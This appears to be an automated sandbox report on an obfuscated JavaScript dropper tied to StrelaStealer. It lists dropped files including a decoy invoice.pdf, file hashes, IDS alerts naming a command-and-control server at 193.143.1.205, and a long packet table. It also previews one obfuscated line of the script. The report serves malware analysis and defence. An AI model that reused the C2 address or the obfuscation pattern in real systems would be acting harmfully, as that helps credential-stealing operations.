File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fbe43bc8-6a26-48b7-bec0-08fce7587477.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17938), with CRLF line terminators
Entropy (8bit):	4.916903297866012
TrID:
File name:	17763111531162825565.js
File size:	21'392 bytes
MD5:	d9730436026fdbf56c3d0b5dfc71c436
SHA1:	cc5a46ba622405422012a472765b22e5daa86a56
SHA256:	00cfe79799346518c46f5bbe7744db6936aef6e3e93eb4e1525a02fd91c54613
SHA512:	2e4b2b71380c7d16333a36dc5f18556b1fae023900984fa247a0ad69cf2b440bd2dcdaed1446d72e34cc577572a7441afb45e821a8f245e250c526bde331df70
SSDEEP:	384:0SJJXJw3lyhGYrD9x5b7hHzi5Q/4FrA3WYKEIRX:0MJXJw1yhGYrDL6DYKEIN
TLSH:	FFA275C46516C699CDF861B066C12CA1B084A34DCE960238A753D8DDA3FB6FC63F65B3
File Content Preview:	function advhdz(){tnordb=[1031,3079,5127,4103,2055,3072];var eavegf=this[heasecb+mtnixobeh+vucznuxy+kurxles+xejmzjy+oewcwsti+opcsvj+yrnwzsw](this[dxgowukg+ptcjzvq+vdxkuxqu+vucznuxy+npigyi+heasecb+yrnwzsw][uyckmn+vucznuxy+xejmzjy+mtnixobeh+yrnwzsw+xejmzjy+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:59:23.562962+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T06:59:23.562962+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T06:59:26.204085+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:59:22.794527054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:22.799566984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:22.799761057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:22.802850962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:22.807765007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.562827110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.562896013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.562927961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.562962055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.562968969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.562989950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.563004971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.563016891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.563019991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.563035011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.563050032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.563050032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.563066006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.563081980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.563122988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.568044901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.568088055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.568166971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.606040955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.606142044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.606194973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.680074930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.680094004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.680105925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.680136919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.680169106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.680203915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.680212975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.680367947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.680403948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.680413008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.680423021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.680454016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.680810928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.680820942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.680870056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.681036949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.681046963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.681057930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.681082010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.681112051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.681122065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.681155920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.681973934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.681986094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.682003021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.682013988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.682015896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.682032108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.682048082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.682075977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.682868958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.682881117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.682892084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.682917118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.735323906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.738112926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.738126993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.738176107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.768271923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.768290043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.768301964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.768307924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.768560886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.797729015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.797749996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.797760010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.797770023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.797780991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798058987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.798141003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798151016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798161030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798171043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798181057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798188925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.798192978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798218012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.798235893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.798497915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798552036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.798770905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798780918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798791885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798823118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.798923016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798933983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798938990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.798944950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.799001932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.799608946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.799619913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.799665928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.799757957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.799768925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.799777985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.799788952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.799798012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.799798965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.799840927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.800112963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.800122023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.800133944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.800173044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.800179958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.800184011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.800199986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.800210953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.800210953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.800245047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.800390959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.800431967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.801024914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.801035881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.801048040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.801070929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.844763994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.854017019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.854033947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.854046106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.854115009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.884227037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.884247065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.884258986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.884291887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.884304047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.884315014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.884443998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.884443998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.885454893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.885477066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.885488033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.885499001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.885514975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.885554075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.885556936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.885562897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.885603905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915081024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915128946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915160894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915186882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915213108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915231943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915250063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915271044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915291071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915311098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915363073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915363073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915363073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915363073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915363073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915543079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915560961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915620089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915627003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915643930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915659904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915683031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915726900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915818930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915829897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915839911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915877104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915877104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915887117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915896893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915910006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.915925026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.915960073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.916312933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916337013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916348934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916372061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.916400909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.916493893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916506052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916517019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916527033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916547060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.916569948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:59:23.916874886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916887045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:59:23.916898966 CET	80	49730	193.143.1.205	192.168.2.4
